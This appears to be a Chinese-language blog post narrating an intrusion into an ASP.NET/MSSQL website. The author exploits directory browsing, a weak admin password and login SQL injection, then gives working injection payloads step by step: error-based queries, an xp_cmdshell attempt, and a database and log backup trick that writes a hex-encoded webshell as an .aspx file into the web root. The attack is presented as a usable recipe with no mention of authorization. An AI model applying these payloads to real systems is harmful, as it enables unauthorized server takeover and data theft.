一次差異備份拿shell過程

0x00 前言


掃描器掃到了某個網站存在目錄瀏覽,於是便有了本文。。。

知識點科普:

1. 目錄瀏覽

目錄瀏覽在我個人看來是危害較大的一個漏洞,該漏洞是指“在沒有默認文檔的目錄下,列出該目錄下所有文件名及文件信息”,如果站點存在這種錯誤配置,***者如果知道其中目錄名,則可以查看到這些目錄下的文件。

一次差異備份拿shell過程

2.差異備份條件

  1. 站點絕對路徑
  2. 具有路徑寫入權限
  3. 具備當前數據庫權限

0x01 正文


站點配置不當,導致目錄瀏覽,通過查看首頁的源代碼,翻到了幾個目錄
一次差異備份拿shell過程
一次差異備份拿shell過程
隨便訪問了一個,發現會報錯,說明網站管理員並沒有把錯誤信息屏蔽
一次差異備份拿shell過程
還存在信息泄漏。。
一次差異備份拿shell過程

但是通常目錄下的文件是需要傳遞參數去執行的,我們並不知道參數名,所以並沒辦法利用


輾轉後到前臺登錄界面查看
一次差異備份拿shell過程
嘗試了一下,發現密碼處存在注入和弱口令admin,也就是可以用萬能密碼登錄啦
本來想找一處文件上傳,直接getshell,但是發現好像不存在,卻發現了網站使用了kindeditor和網站絕對路徑
一次差異備份拿shell過程

那麼前面登錄口處存在注入,後臺一般也有很多注入的啦,嘗試找一下,如果有的話,配合絕對路徑可以進行getshell
一次差異備份拿shell過程
一次差異備份拿shell過程

okok,發現注入啦,但到目前爲止並不知道數據庫是什麼類型,一般aspx+mssql,由於前面發現是可以報錯的,那麼嘗試使用mssql的報錯方式

%' and 1=@@version --a

一次差異備份拿shell過程

mssql數據庫,查看一下當前的用戶身份

%' and 1=user --a

一次差異備份拿shell過程

dbo的權限並不是sa,嘗試一下xp_cmdshell

%';exec('master..xp_cmdshell whoami') --a

一次差異備份拿shell過程

並沒有開啓xp_cmdshell,且dbo的權限是不足以開啓xp_cmdshell的,那麼只能嘗試使用差異備份的方式來寫入一個webshell

1. 獲取當前數據庫名稱

%' and 1=db_name() --a

一次差異備份拿shell過程

2. 對當前數據庫進行備份

%';backup database 數據庫名稱 to disk = '絕對路徑' with init --a 

如果成功備份,則網頁返回%'的查詢結果(因爲是堆疊且後面語句的執行並不會有返回結果)

3.創建表格,並寫入webshell

%';create table cmd(a image) --a
%';insert into cmd(a) values (0xxxxx) --a  //webshell的hex值

可以用網上的工具,筆者用以前自己開發的小工具
一次差異備份拿shell過程

4.進行第二次備份

%';backup log 數據庫名稱 to disk = '絕對路徑\\abc.aspx'--

這裏我將webshell寫入子目錄中,因爲有目錄瀏覽,能確切看到文件是否產生
一次差異備份拿shell過程

創建成功後,嘗試連接
一次差異備份拿shell過程

0x02 後續

  1. 如果能直接使用xp_cmdshell就儘量不要使用差異備份,因爲會產生備份文件,如果數據庫很大的話,會造成影響
    一次差異備份拿shell過程
  2. 有任何錯誤,請斧正
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章